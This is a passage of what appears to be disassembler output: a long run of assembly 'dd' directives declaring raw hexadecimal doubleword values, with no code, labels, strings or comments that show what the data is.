7982875h, 66F7885Ah, 0D4B15140h dd 0A5C92E80h, 726015B8h, 0C03C5A78h, 3D27B832h, 13209A3Dh dd 0C7E3DEF2h, 8910FD3Dh, 0F8280091h, 0B5517F2Ch, 0F254FEC9h dd 5E5F90E8h, 7A28456Eh, 2B884472h, 0C69BA820h, 211BBFF4h dd 9CA8719Ch, 0B579AA20h, 8239EC5Ch, 40F117E5h, 7CD4814Bh dd 29C8478Ch, 895B2CDDh, 97602F0Dh, 531EBF68h, 0F56D4966h dd 0ED7F1E29h, 63056085h, 525AF007h, 74129E8h, 0EC1E347Ah dd 45E9C2F2h, 0F952D77Ah, 22EB8335h, 5E110283h, 4BDFB9EDh dd 2F6E69EBh, 0D1B05104h, 0F71348E8h, 71CB8DAh, 8D9ACEF0h dd 550977F2h, 0D5105A22h, 496FC621h, 82841D7Eh, 752A9AD3h dd 0E9C682FDh, 321FCC4h, 4C3B6855h, 13A7B51Eh, 29AA5EFEh dd 345EFD81h, 931F2D93h, 78EF3BC1h, 0BA29514Dh, 5EE9F3CCh dd 87D9A43Ah, 7FC1616h, 0AD5EDFFDh, 3473EE1h, 0D3E97713h dd 0BFB900C4h, 346D115Dh, 0B09F781h, 571FA95Eh, 0B1D4CF09h dd 0C44F5683h, 0AFCE5F2Bh, 50CD4049h, 6EC4BDBCh, 23A46851h dd 7C552D7Ch, 0FD29D857h, 33345F5Fh, 1BF444ABh, 1CE93126h dd 0BB6B843Ah, 9FB4B861h, 12E9B960h, 0BAFEDFE6h, 5922698Ah dd 0F258E912h, 0A7EAC352h, 0EF15815h, 924CCA08h, 44A277B8h dd 8186C6FFh, 0A73380C6h, 0F1F6C7D8h, 0CC4A9FB2h, 0F2C1B588h dd 49522D8Bh, 3074CD8h, 0D1312514h, 1608CA26h, 901EBBE9h dd 0E42AA0CFh, 0C0C2494Fh, 97807F31h, 0EA0F8BF5h, 20001C4Ch dd 0A0681270h, 0DCDBAE1Ah, 578F004h, 23A9C235h, 4162DD7Ch dd 47595742h, 17DDC902h, 194BFF6Eh, 0B6617BC0h, 0E9042190h dd 0F03FDA94h, 6BAE46FBh, 0EF5EB316h, 0D38E1EAAh, 883244EAh dd 0B2A7ACD3h, 402862C0h, 0B808F58h, 0EB20E2EDh, 112A656h dd 0B573F4BFh, 84B65217h, 28296103h, 9D1675F3h, 7F5927Dh dd 1F0393AEh, 8FA23406h, 0FD84AB0Dh, 0FC96D9EEh, 0FF4833DFh dd 60BFE415h, 66F83099h, 18515B25h, 9798B499h, 0A1F280F0h dd 6A70E398h, 2C39B290h, 3B913A1Fh, 0DE632F1Ch, 0F1723A06h dd 1F65E7D3h, 0E95544FEh, 2575ACFEh, 34B8555Dh, 0E95CF766h dd 7D582D5Ch, 0DCB52994h, 4E5D2548h, 0B67AF3A9h, 24BA5F31h dd 98A2F223h, 64C3C3Ah dd 0EBC14866h, 14900708h, 9EDEF509h, 3E0550Eh, 8C4C43B3h dd 8BF12553h, 85F6CD14h, 28570AE9h, 1055BB3h, 659968F9h dd 49296854h, 0C73117A1h, 0A285BA06h, 0C5EA0F3Dh, 929DE005h dd 53C0EEEDh, 0B56DA0E9h, 0CFA86CAFh, 0B0019625h, 2EF3135Ah dd 54790490h, 96802DDh, 33EDD57Bh, 52629F29h, 54D66056h dd 13060325h, 1DD6E95Dh, 12AD4E3Eh, 60BB0AA3h, 4152D5C1h dd 0C25B7B25h, 0F835490Dh, 0B7CD7670h, 8F7DE712h, 0C4FA6DA0h dd 3B53802Bh, 81021417h, 0DE7C04CDh, 2A505F0Ch, 498FD703h dd 5BEF014Fh, 8B13AB84h, 2D7B63B3h, 635C6C95h, 4D8C3460h dd 882948B0h, 0FB665235h, 6C31AB91h, 0BCE9FC8Fh, 2EF099F9h dd 0C0200FF6h, 0E6B71390h, 0B1D74EF9h, 0CBFC7A45h, 6DFDBEE4h dd 0E4CE0D86h, 207FECB7h, 666F9FEBh, 0CDF92637h, 0B8459D28h dd 0D8B12B6Fh, 6CE79D16h, 8E49322Eh, 254948FEh, 0F6041ED6h dd 0B91D20B5h, 0EE883482h, 0C37682E9h, 780E19ACh, 7C5D0B30h dd 0D8C47AC4h, 0A0992A25h, 0CC79970Ch, 8BDCB516h, 68D9F7C0h dd 0CB4E4D6Bh, 0C0442384h, 8E5C15Eh, 992E91Ch, 0B43C5D2Dh dd 0BAB84198h, 6866561Dh, 8E89769Eh, 80A676E0h, 0CD5AFAF5h dd 46EC8715h, 0A206D4h, 79011836h, 0B57BDD68h, 0E914BE66h dd 9BDE31Ah, 8F95B450h, 28624B73h, 0FFEBEDACh, 5022B4C9h dd 7EAC1D7h, 2D1C44C9h, 0C7E0E0E6h, 512B92B5h, 36C48FF5h dd 0E4695E96h, 9802CE93h, 0E911C420h, 9CC350D8h, 0DE742FD0h dd 0B5E160D0h, 0C868F990h, 0C2493FFBh, 647F7CD9h, 277BB1F9h dd 20AB4A4Fh, 54F3E921h, 25931495h, 97E69D84h, 90D8E225h dd 9FC828C5h, 376C1657h, 5D39732Ch, 3CA201B0h, 0C16396F2h dd 6F22C7FBh, 2EC7FB96h, 0CCF653h, 1D31B9B8h, 0E1D17DA3h dd 0F7F9870Dh, 2C2B08DFh, 0E44E9AF8h, 0D5180F31h, 0A938D64Dh dd 0F44E579Fh, 0A2B7EF68h, 0D5055EAEh, 0C1291A24h, 0D2DA4Dh dd 2704F028h, 33F95A6Fh, 0E6073EBh, 1C1678B5h, 68C302DFh dd 0E95E56F0h, 2B3BF262h, 2EE68161h, 0BE2B49E1h, 44FE053Dh dd 0CBF22E30h, 545250ECh, 0FB505A2Fh, 34C496A3h, 4CE0AE1Ch dd 3FE2B55Fh, 0C9577455h, 30A35BD7h, 6FB8687Eh, 0BEA8CF91h dd 0F446DA02h, 70AAE925h, 0DBD8F7BEh, 972C920Eh, 45001DFCh dd 5E29834Bh, 27482968h, 0F4A30978h, 25EB2630h, 5A4F6082h dd 23162505h, 0C1CE66FCh, 2597740Fh, 5920A06Fh, 70245CBFh dd 4450CDE9h, 92E04727h, 0C52030B8h, 962FB278h, 444B82ABh dd 3CC11075h, 0F0D97BD8h, 0B6575444h, 40C565E0h, 0C2FD688Dh dd 7D723FFEh, 4CC5578Bh, 0A8CFC5A7h, 0C450AE6Bh, 893565C3h dd 5B53F4Fh, 5209EF00h, 5301E79h, 1EC8C3E7h, 3D84E2Dh dd 0CA2CE972h, 0DCC073A4h, 0B007B44Ah, 12560B6Fh, 9C09675Ch dd 3409E970h, 0D54FE020h, 0DF0C70C5h, 79ED81C7h, 193135Fh dd 4FAAA855h, 8302C3A8h, 49308058h, 42A4E240h, 0DE15C525h dd 0D6FC2591h, 0CEF0634h, 0C24D6700h, 0C806CE03h, 0CFA016Eh dd 4C641AD0h, 4C0D096h, 5D4D2D40h, 2DBF9084h, 60681D14h dd 0E8278008h, 85E07D3Eh, 2513B8C3h, 0E4BB29F1h, 0DC4C8851h dd 665E271Dh, 0F2B22540h, 81204EFFh, 0A72FD3E7h, 2B50267Ah dd 0A11E825Ah, 0A86801CDh, 810E526Dh, 4119D848h, 35583E14h dd 56F6B06h, 0FBCA86CCh, 3B7DBB01h, 2C2994D1h, 0CB60E706h dd 4EE230E4h, 8ACDBB35h, 200CF43Bh, 78CC1C05h, 2CB08DE9h dd 7DD7582Ch, 83EDA12h, 0BA00C406h, 99E455Bh, 0ECD74A89h dd 1B82F5AEh, 0F7879017h, 4B8B2649h, 0BBA416DEh, 0B710CDCCh dd 0EA5D3A84h, 2C7B44B9h, 0AD7AD799h, 8303EC5Eh, 2A5059h dd 955D10BCh, 0E9E7D123h, 0D35B3925h, 0DD8AF6Fh, 5E8C710Eh dd 0BB53C501h, 0FFE90805h, 0AB4B46B8h, 0F6C6008Ah, 0AB81B36Dh dd 7C5FFE46h, 0B7615A6Ah, 0A9A0A002h, 1E3727h, 80F681EFh dd 28220CFAh, 0EE82F031h, 5C294040h, 0F2788FDh, 1689E7F9h dd 8736D48Ch, 45799DE3h, 0F60EBE7Bh, 1630070h, 2541E9DFh dd 0BE51FEF2h, 48E56ADh, 76AE172h, 20F6E408h, 8A03609Ch dd 6C714876h, 0C4FE91Ch, 0F1F44C38h, 0A8331A95h, 0CA1EB216h dd 79B7160Ah, 24DB4D14h, 0FD4B87EFh, 2809A1CFh, 0B402DFFAh dd 903DE4Bh, 74FCBAC0h, 41762D1Eh, 78AA052h, 0C8203F11h dd 5C21C82Ah, 0DE0307A4h, 40206251h, 1431FAC4h, 9E384223h dd 8405A00h, 0CCE94352h, 29108097h, 4BE268F7h, 0C1E1CC10h dd 2BB82F12h, 0EFC382AAh, 20775E55h, 0BB1540DDh, 0BD318403h dd 0E1D9215Bh, 18AFA508h, 0EEE43F02h, 536504FEh, 0A54E940Fh dd 9CAA7F24h, 749D5876h, 8C550FBh, 55CE6A9Dh, 45956078h dd 277027FFh, 0E5209202h, 0A102E957h, 5ACE2CEBh, 7475DF20h dd 0ECDDD907h, 0E8E15852h, 4D7862Fh, 16EF13BDh, 4FDC316Ch dd 0F29C7A28h, 0E0109009h, 0DE688037h, 0F97FC2F3h, 83A7483Ah dd 5D8F736Ch, 60F99C30h, 0BF1AE468h, 6CF4186Ch, 9A6947B4h dd 4182FD89h, 81000E92h, 9249CCFh, 0EFC13667h, 10E76B00h dd 217FE649h, 3DC3F715h, 38B95ADFh, 2721DB41h, 728CAC28h dd 0CE5C0481h, 647F79C5h, 17C2EBD5h, 0ADFD6594h, 202533A2h dd 565DB747h, 258D3873h, 7DEBC1A5h, 96EF6AD9h, 87AD5D16h dd 0DB5B5F14h, 0AB5E0A00h, 1AE5817Fh, 274B4371h, 380F68ECh dd 0CD806275h, 96845F4h, 80137590h, 71FCECC8h, 0BC64FA27h dd 26B4681Fh, 31581585h, 5DC3D0EFh, 0CA2F3B88h, 52B47D89h dd 5244E994h, 0A129F3FBh, 0D82FC668h, 784AF2C8h, 0EB4E78E7h dd 222EC62Dh, 4758612Fh, 0BE0F294Eh, 8B36E952h, 6D045E9h dd 2EE7F3E9h, 3F9CD095h, 7B773508h, 0F758B757h, 5416BD4Eh dd 2EF7DEBBh, 4096C234h, 7B5FC40Bh, 5BDD8F5Eh, 0BAC024BEh dd 30C66299h, 20A63D31h, 0BD2B90D9h, 7B21087Eh, 48697628h dd 8EF70735h, 586609E8h, 0EB3AAAFFh, 56296B0Fh, 86747A8h dd 0F46713E9h, 5C16D39h, 91D1F7C8h, 56080719h, 7A68802Fh dd 750BB34Bh, 0D09CE94Dh, 16A0F659h, 121F9F7Eh, 0DF2B0D8h dd 0A4332700h, 205A3560h, 1DD89FD2h, 829E56BDh, 1C7D6B19h dd 0B4DEF880h, 0E918FA11h, 154D6C2h, 0BB1AD6CAh, 61A2C221h dd 0FE4ADC7Ah, 69E6DD4Bh, 0E334BE12h, 88E74B9Ch, 0F100D048h dd 0E961EB73h, 65BFD6C6h, 1EDF27CDh, 0EF2E947Dh, 317B0C90h dd 4E369095h, 2A188D4Dh, 4DDA1FBFh, 3B1A0B9Dh, 3797D531h dd 356BFADh, 7CA64C3Ah, 0B535B49Ch, 124ADEAFh, 1744A837h dd 5A09C54Bh, 2549E6D5h, 345A0D8Ch, 0E192CDEEh, 0DEF6590Eh dd 88406280h, 5B705EF7h, 0CF992FDBh, 52AF3EE6h, 81AEFCE1h dd 0E09C5FEh, 0E27F2425h, 8CAB92C0h, 0C468FCE7h, 5103FE78h dd 0B2A933B9h, 0FCF38F23h, 0DD99892Dh, 817B4C5Ah, 0DB67F07Ah dd 276849DCh, 0AD03BA79h, 0F1173B71h, 0DC3A0F3Eh, 0A106BBBBh dd 6861725Ch, 3EDA97CFh, 69458202h, 121C2943h, 875B0A04h dd 8DA331ADh, 65BB3B9Eh, 6615B394h, 9560E90Dh, 0FBA4CA59h dd 0D3737289h, 6E3608C9h, 5DBE5609h, 6C4E81C3h, 0C23FC5A5h dd 0F0442E44h, 5562F207h, 0B0B47DA9h, 2C6874F0h, 645523CEh dd 9679885Bh, 55508997h, 0ECADE153h, 0C5FBF4D2h, 0B34CA74Bh dd 0E3FC09D3h, 25A953FEh, 9C9E655h, 296FE954h, 5AC2B59Bh dd 0E6DF1A6Ah, 0DE8927C8h, 897D3E32h, 3F8077A6h, 176263E7h dd 4F0DEC90h, 0A424604Dh dd 40DE50F1h, 9511BB57h, 2F59075h, 4A7D9845h, 703926ECh dd 3B4EEB00h, 45CB8168h, 0E3C1D3Eh, 0DBE3C14Bh, 40723651h dd 460939B0h, 8F87784Ah, 191C3F47h, 0F400256h, 0FEE88FE9h dd 5A0FDC75h, 179EFAD5h, 0CC6911E9h, 0E24180ACh, 2924A02Bh dd 0D8895F9Dh, 60565889h, 0E91211EFh, 0B886E0C8h, 0EC057795h dd 0E9CBAE29h, 0E130E916h, 0C3D02083h, 0C56A3CF0h, 2428C071h dd 223AD600h, 54EE8135h, 4C292563h, 0E6825F74h, 809D5E32h dd 7767F683h, 0C5A6063h, 48667F51h, 176849C2h, 52B0742Dh dd 6805F7D3h, 31AF021Fh, 6A45E9F2h, 93C3ECD3h, 1ED1C9D9h dd 5355DD86h, 0BF30C6A6h, 68AC14B7h, 0B35B4E4Ah, 0FF7C2EEEh dd 50C0E02Dh, 840D4AB4h, 0A7930819h, 0AAFC83Dh, 89538934h dd 5F401519h, 853B7631h, 5528AB2Dh, 7F57FEE8h, 997D9DDBh dd 0CB7B89BCh, 5EE04C75h, 0EE93FBF9h, 9E1CC344h, 305E41F3h dd 7B2011ACh, 63E0A48h, 69DB0CC5h, 1382B6B6h, 6DD7775Ch dd 4BB82E85h, 0D1D766F2h, 0C2670BE5h, 8BFD4EA1h, 0BAB26F3Ch dd 56E180F5h, 1A76342Dh, 6B69C604h, 4BF8558Ah, 0D4DB5E39h dd 0CBF8BEA2h, 0F07D2669h, 0DBAB81D7h, 1E60F235h, 587C4093h dd 0B4836EB7h, 796A4788h, 4BFD98DDh, 9D9525FAh, 0EE65060Eh dd 1939F75Dh, 0E13A5551h, 0EDDEFD69h, 0F8E062F2h, 2C1DA8F6h dd 23575BFAh, 0B72F0CB8h, 0B85B9BC3h, 4FA12BEFh, 0A96021EFh dd 0BEE36E23h, 0F8BA1679h, 9D14A9FEh, 0BDF30397h, 7F19E14Fh dd 59E1FD99h, 0E4EFB388h, 3ADABE01h, 0B2205245h, 0D4A781Ah dd 8EEC119h, 262FC3EEh, 0DD2DE229h, 70B77058h, 0C4085B7Ah dd 7E7FF36h, 2FB91A10h, 0C424F705h, 177DE963h, 37CC4DBAh dd 3E120405h, 854AE96Fh, 0C48A98ACh, 9DAE0F78h, 9365E0F6h dd 0DC2D37Bh, 0B6BA5DCAh, 5112075Fh, 0CF54F137h, 0EA9304E2h dd 34EFE91h, 0AE211297h, 4DB04804h, 2A418DAAh, 0F2106CE6h dd 685506BCh, 20936D9Fh, 79BA0B6Bh, 95664B20h, 8DF15E09h dd 5D300D1Ah, 0ADC50D18h, 548A3819h, 80F5BC0Ch, 2ADD9E30h dd 80C0F9E9h, 257DDBBEh, 23FA098Dh, 305A0881h, 13429487h dd 7CFD2DD6h, 70878B11h, 0A6C1338h, 7A89FE0Eh, 0B0C6F22Eh dd 95095468h, 831E93DBh, 0F71C2880h, 985156DFh, 1B5C0039h dd 68B92348h, 2850E12Ch, 98970ED8h, 818630A3h, 0C4B06A49h dd 55D0BFFCh, 57958995h, 1497A8BCh, 412BB0E5h, 0F8F66EEDh dd 0B0F1302Fh, 254B7391h, 71EE80A8h, 0A2C7A56h, 491D0CF7h dd 346BE56Fh, 0E36DFF4Eh, 6AD5D5h, 2AFD2591h, 35013350h dd 1FE02248h, 4070C589h, 0A93EE10Ah, 0CE0893C9h, 0CE890E22h dd 0A8DEE1E4h, 7851CD3Dh, 127BD821h, 0B3D16708h, 8D001355h dd 0AAA31DF7h, 98FE8933h, 22E5A90h, 3D91BB7Ch, 0B29592D8h dd 28C65ECAh, 16820909h, 8E936EB1h, 62E05CCBh, 0F85AFDE9h dd 0E67673B4h, 28F21BECh, 1EAC10FCh, 0E5525BDEh, 7F9BFB09h dd 1B78A498h, 50691489h, 9C16031Ah, 301DBA8Eh, 873EE5Dh dd 0B793F150h, 478454B6h, 1F80164Dh, 0BFFED8FAh, 5F0188E4h dd 31405189h, 0FDCD5AD7h, 5C3D987Bh, 94733A4Bh, 5306E0C0h dd 76FD76B3h, 0B0501CEBh, 17832844h, 0BF5BD930h, 0CDCAEC2h dd 681307E4h, 6EEC6BE3h, 0FFCF12A4h, 5F512192h, 4BA441C0h dd 0E1623181h, 96E2B7Ah, 0F3B5138Ch, 0FCD85E72h, 2F42417Ah dd 82DB0AF0h, 333D2DC0h, 58367600h, 2A16AE0Dh, 7E2D0F51h dd 1F92E2FCh, 0AD2C7380h, 756A60B1h, 0BA1745F0h, 47BD5F1h dd 402E1EC5h, 77EA60C6h, 2F7BB091h, 4425B5Eh, 0BE797055h dd 0ABE961B9h, 9CCE2AA5h, 0E9570760h, 0CC94EF27h, 1AFC717h dd 3F0D6291h, 0C1897042h, 5D27F996h, 49E52E20h, 2EBE3012h dd 0BF43035h, 9FF2FCE9h, 0C6CF6A59h, 3C8D4473h, 25122C77h dd 2E5E9BEh, 7AC26C6Dh, 26384955h, 951893D8h, 780AF70h dd 3EB685E9h, 30068633h, 680D0706h, 0D0A60FF9h, 3B8CBF80h dd 1640F725h, 8F5A257Eh, 9481765Ah, 0E09203C7h, 0E17A6025h dd 50F456C9h, 5018BD80h, 56979927h, 4ECC444h, 5F8ABC81h dd 0A8EFC119h, 0BE7460E7h, 4E68C813h, 99C69E00h, 0B5D39EE9h dd 53582CFEh, 25FB7289h, 46775BDDh, 33CD9718h, 0B7AC2113h dd 0AADCC1B3h, 0EA4B32B9h, 6255D30Bh, 0FC70F7AFh, 0C0F6295Bh dd 8629974h, 0D62D16E0h, 0F4C58122h, 2134D60Bh, 40EDE14Eh dd 96685A08h, 0BBB35D5Fh, 0D5503205h, 818C8429h, 3E12BD3Eh dd 0BD84DB12h, 29B14CACh, 0F9406FF1h, 35942136h, 6FB1A15Bh dd 5A48CF7Eh, 2012C800h, 4815888h, 0EE768DCAh, 9801FA35h dd 45B204F0h, 0E9095A38h, 0EC7475B1h, 0F22F5B51h, 8BF2C4AEh dd 0C2B5E7FEh, 5759C830h, 46CEF079h, 0EE46EBBFh, 1717B218h dd 3449D468h, 4176C1B0h, 0ADE441BDh, 5F2E9297h, 686BC8EEh dd 0E957B361h, 0A673ED1Ch, 0F6F46064h, 0EC8932FEh, 1D447D29h dd 0EE9F6375h, 1FAB73Eh, 9788F0BFh, 0E13B800Dh, 523C340Dh dd 49D8545Ah, 0D7DD4A9Ah, 6063417Ah, 30F36840h, 0DCBD9937h dd 6930033h, 997095BBh, 0EB2A3157h, 0C281B55Dh, 5281057Bh dd 9A1679A3h, 0B30B48B0h, 0E199520h, 8B098F2Ah, 0A3BC0C47h dd 5BAD06BBh, 5429A321h, 1ECB8101h, 4B062214h, 0FADC7271h dd 98D44860h, 1B1A2402h, 0FBF4292Ch, 0A79C0820h, 5927F189h dd 0B3AC8983h, 527985C4h, 0FB9FDEFAh, 82D42D58h, 81E0F363h dd 0C856DD8h, 0E8926088h, 42B0E36h, 0F1011F86h, 154D7EE3h dd 0CE10030h, 11666D29h, 632F4C1Ah, 0FB1CE031h, 39DE1135h dd 0E9084029h, 0FECC8412h, 6460C2B6h, 57A34E1h, 638B56C1h dd 0AC236874h, 17F7D884h, 0F8CD7EA4h, 2A7C7D0Ch, 4EC56619h dd 412D429h, 0BEFA72D1h, 0BB161EB2h, 7E34E37Eh, 9C424C41h dd 1F8DFEFh, 9B900176h, 8BBF234Ah, 0F388138Ch, 0CA784A09h dd 4AA67EA1h, 925883Ch, 1258BD02h, 4AC183F8h, 0F5FF03EBh dd 1B9A0A18h, 4C1A3C09h, 0ED0EFF97h, 99A954E7h, 116CF900h dd 0C9B01D6Fh, 598CEB4Ah, 799D01B9h, 496836D7h, 0EE316E17h dd 580263BBh, 0D01A4456h, 0CD167711h, 5AE6C13Dh, 9814C6A6h dd 6A096BCFh, 0B57AD79h, 186257FFh, 0DB2582D5h, 0A2FC293Ch dd 75F468C1h, 0B7C13438h, 7E1F4D74h, 0D3CCB9A5h, 56E2601Ch dd 0F013A2E1h, 0D1F75516h, 22E65704h, 3C69FECh, 285CCFC7h dd 39803C78h, 75CF9FE5h, 1E418ACCh, 7D509B8h, 9C001BC0h dd 6DEE4E90h, 5D2B89BFh, 0B92E2DE0h, 499584A4h, 0E9DB29ABh dd 759DE148h, 854BFDCDh, 3E2CFFA5h, 9B209753h, 73DB4CEDh dd 2030AE58h, 0A9524B01h, 56009C58h, 255873A0h, 487F1882h dd 2D058E32h, 0AD9C2C02h, 7088E9B0h, 0E43174B0h, 6081B0C7h dd 36B512BAh, 0EE728852h, 805AF032h, 3BD1D73Bh, 653CB901h dd 0AF2E0751h, 80E18D32h, 17C0C9EBh, 0F4167FB9h, 37D2022Dh dd 3D9E9B4h, 0F7825A55h, 0BDF7916Bh, 525B01B9h, 7FADEC50h dd 587B14A3h, 0E904062Dh, 0AAFEDA22h, 3D10D29Bh, 0D8B8007Eh dd 5436D27h, 452E27BCh, 84038FFEh, 45E68206h, 0E96AE1B4h dd 0A8BBA499h, 62E9829Eh, 800949EDh, 37684085h, 51778C07h dd 88D7B109h, 69170ECEh, 0F478F56Fh, 7CBFD6E4h, 0A8AF4489h dd 15BF4A2Fh, 0B74EAF01h, 0D6B3D6A5h, 5B4AEE4Ah, 0B8939E1Fh dd 790B0535h, 2FB77AA8h, 0AC4D6AE4h, 4BBF5708h, 5074B400h dd 81020983h, 277945F6h dd 68C3407Eh, 0C120FA30h, 47C3FC0Ch, 94878DBh, 77FD71E9h dd 0A2C25E30h, 9585D782h, 0FB9DD456h, 0EB80D3A2h, 9C5537F5h dd 0D4971B98h, 0DC685053h, 6CC31C03h, 48D5F75Dh, 2B0E6504h dd 0E942E17Ah, 0E6BE90AEh, 0D766A1B7h, 0E741383Eh, 0E934C9E6h dd 0FF2D4BD8h, 0C15B4C82h, 44FA28E6h, 2BD00AD9h, 18838C5h dd 9139AE21h, 929B6989h, 0A3C9A01h, 73710DA4h, 0E97AF42Fh dd 46B27925h, 0B2505B80h, 0AE45CB37h, 80C1456Bh, 0CB2F83FAh dd 0BE8E34E1h, 51140789h, 0E1B55717h, 0FE2BD6F1h, 0A43E652Dh dd 574C7135h, 0C188C787h, 0DCFFCE25h, 0D44E5BA6h, 68C2D6ADh dd 795D565Eh, 9677EB63h, 52BB0B1Bh, 6170782Eh, 0A0530609h dd 25D07718h, 24FCC095h, 23102F2Bh, 0A662A2D6h, 95505E0h dd 3FED06BBh, 3A24542Bh, 0A3103302h, 0CDF87F26h, 8C590882h dd 53029DA9h, 53A867E9h, 63688581h, 0E5936224h, 870F1D7h dd 912E7A8h, 0E879A902h, 3D05D9FEh, 1B65198Fh, 286499B4h dd 7B01FEF7h, 0BE255B62h, 162A9620h, 0BB7CFB43h, 802EBC4h dd 7EEBFCE9h, 0EB78BD6Bh, 6D6D7FDAh, 0C649B80Bh, 58750A79h dd 8C30C2h, 3BA823B0h, 5F4CF921h, 5C3804C0h, 15072A63h dd 0FBFDF4ECh, 2D3AB3CEh, 0CC762994h, 741114Ch, 13CC8BA0h dd 0E2FEF911h, 6EF3846Ch, 53F9435Dh, 0DE8929C1h, 43027E5Bh dd 0D9029FE9h, 23948982h, 81518309h, 0E34BE902h, 0C623DCFEh dd 0F7360687h, 2E4C0BD6h, 62A0818Eh, 3655535Bh, 0CFE9384Dh dd 0B7EFAC4Ah, 0FEEEEFD1h, 9DFBE27Bh, 0B67635A2h, 6EE2FA20h dd 902015DBh, 4FBB05F7h, 1E70FE7Ah, 0B4334184h, 61EBC14Ch dd 45EACC8Eh, 6F9EE36Eh, 0BDDE432h, 4CE98C80h, 0BE42C3B0h dd 0ABC23E8Ah, 572828FCh, 48F7DD54h, 1C330D07h, 5637DB0h dd 1C72E06h, 6CA70820h, 0E6048812h, 8907269Ah, 45F9E2C3h dd 4199C4FFh, 0A708ED8Fh, 366C7DDCh, 0D334E3B5h, 0B8A39F14h dd 0E90B135Bh, 511C801Ch, 0B5F0595Fh, 58023D94h, 6D5C1568h dd 0D996AF13h, 0A088F897h, 97D5DA78h, 502FCD46h, 0C913F9BBh dd 0BA25DD20h, 5B02120Ah, 0EFFF6A05h, 0FD0362ACh, 0CE5F834Bh dd 337B8FA9h, 5D4E8964h, 81CC21B1h, 5E77F55Bh, 963D7815h dd 9284BB4Ah, 59896DE8h, 0E770F442h, 995FAE1Ch, 0FC791A3Eh dd 71B97E18h, 10C762D2h, 0F24FF3D3h, 99362AA9h, 0CF012098h dd 0C1102017h, 0AE2002E6h, 8D2B599Bh, 64305010h, 9CF2F084h dd 0DB92454Eh, 656A0478h, 5AF16D4h, 0FACB6A00h, 0DC2ECDCh dd 234E491Bh, 0B95E324h, 0F3005D08h, 30D2C4Ah, 609DD83h dd 8970D7C2h, 5ACCF2E8h, 7750CEB8h, 0B75DFE52h, 0BB53F8B8h dd 0FC5C1E03h, 0A485E915h, 0F040AD88h, 10B464D1h, 0DFB9ABBEh dd 49161959h, 100E8CBDh, 43A1E41h, 1084B6EBh, 0F9981391h dd 0FFA4CBF2h, 0C9336121h, 51A28C78h, 0E26AD1D7h, 0C7FEB5CAh dd 0A441448Fh, 0A8BB893Ah, 64C50052h, 20E97914h, 0EEFF551Dh dd 680FB6BAh, 0AE137595h, 553F95E7h, 543FBDBFh, 0C9B6BA81h dd 72EED9E9h, 31A95A2Bh, 459E5B2Fh, 7208B6A1h, 154332E1h dd 27E4D607h, 318B2573h, 0AD417EC6h, 528695F6h, 24125A58h dd 0BC12ADE9h, 168D2576h, 0D7721174h, 0F0900B79h, 9522BB4Eh dd 840B559Ah, 0BF1C665Dh, 5D5AC17Eh, 33F15DF4h, 20771E05h dd 3D3071B7h, 0F7FA6D3Dh, 1C4E172h, 14E7AFC2h, 0A402F95Bh dd 0D02156D0h, 9C4EE9h, 59990566h, 0BC06F8h, 0E9170720h dd 0B4B23258h, 616A6802h, 96571F3Ch, 2CE0420h, 940B481Eh dd 82DE00E7h, 89D53B15h, 1A207725h, 7E7B7511h, 5EF1E3C5h dd 0D5BB3D7Ah, 0CE257B03h, 0CC188C12h, 192510h, 5712C7Eh dd 7942CE4Dh, 0C3728690h, 2FB5DA48h, 0CA53FC80h, 0BBA5A10Ch dd 0E28EBACAh, 0A97E3351h, 0B2CCD7DFh, 207D9930h, 0C11897FDh dd 0AD805DABh, 1E932568h, 53C44274h, 27911B80h, 0BB3902DBh dd 8462FD0h, 3328B574h, 0EFA8DCD7h, 1E3C5D81h, 0D512A0ECh dd 0E7282A2Eh, 0E1067652h, 32F1B2E9h, 1C10D306h, 7B8E0EEBh dd 4992DE50h, 9756D28Ch, 0BA402E51h, 4EB70D4Dh, 84CCF13Ch dd 0CA810806h, 1A447E80h, 31CD33E9h, 37B14648h, 0A9ED7A2Fh dd 82FA5B7Eh, 79DF542Eh, 9C5769CBh, 0C9227759h, 0E80D1C0h dd 2D1B4BF6h, 47CE2B49h, 0B5DB4ACBh, 245F2927h, 2BD4E4BDh dd 0A411A2AFh, 0CBEB9601h, 133A525Bh, 78A0AFCDh, 0BFB5E6E9h dd 773A9CA0h, 0B2CC4DD8h, 98FBF911h, 31615AC6h, 1CA2F82h dd 1060478Fh, 0BBB140C1h, 28370F38h, 0F52EF677h, 0E90B6AC8h dd 62BDA68h, 1F736EEBh, 26D05A2Ch, 89FE4A08h, 0D3C88016h dd 0E92B7E7Ch, 8C8359CCh, 0B0B6E0D2h, 0D93157C5h, 0E6193687h dd 0A8D20FCh, 0CBB56D98h, 0DC8AD923h, 0AB5FAA96h, 7709023Ch dd 0A96CBF6Fh, 69E1516Bh, 0BED028E9h, 0E5E3BD6Bh, 29142DB8h dd 1184FA45h, 989123E9h, 68125548h, 0A444FFDh, 0FE12E1AAh dd 37E0E917h, 2ECB35C7h, 0AAA1EE46h, 27170C82h, 0A3074990h dd 0E961CF42h, 845C207h, 16701B38h, 79E868h, 75471B88h dd 0E726C174h, 893B5A05h, 4099948h, 0A81302C2h, 40054EFDh dd 49AAF187h, 1C629929h, 80C4E057h, 8501FC4h, 0F7A07BE1h dd 0D2D5F02h, 5743CA38h, 709A6E2h, 0FCAB0F48h, 51526680h dd 0F6C8A850h, 293397D9h, 0A20B1ABAh, 53C227h, 2595D5F7h dd 0A1264D00h, 0D8B92D18h, 8BF95887h, 0F7895809h, 0C23DEE9Ch dd 17F00A06h, 8A0CF01h, 0F5D85F5Ah, 0E385B577h, 0FAA335BFh dd 3A2C81D1h, 0BB511C92h, 0E9A3AFF2h, 0D56877CAh, 0A71214DCh dd 25A44234h, 4F074076h, 0FC1F7890h, 1EE0E76Dh, 5CB3EE2h dd 0FF41D9F7h, 3DF1BEB0h, 7C3B182Fh, 0BBC70979h, 479164BAh dd 0D8123E86h, 0F7C138EAh, 63F3D65Eh, 0CE7558CBh, 0BF507692h dd 0FAB83618h, 0B48A05B1h, 4712DCC2h, 2881C2ABh, 698A3441h dd 0F6020B7Dh, 0F2C0D5D1h, 880141F1h, 0E23059CAh, 0FC2E2858h dd 0A7152493h, 0ED93549Dh, 0F1A38D5Bh, 0F95321BAh, 0D193D9h dd 0AC72F8F6h, 59CE09B8h, 0EEC1D6DEh, 0C6D2941Eh, 92232E30h dd 0AAF02020h, 0F1FF20D2h, 2F002156h, 296204FFh, 8226ACDEh dd 5F483168h, 0B104309Ah, 57EEDD5h, 30DF69E8h, 451112EEh dd 0AC26E9A8h, 31950EC6h, 49F84FC7h, 0D57FE241h, 308F5FE5h dd 0D02826EAh, 0B0EE49FCh, 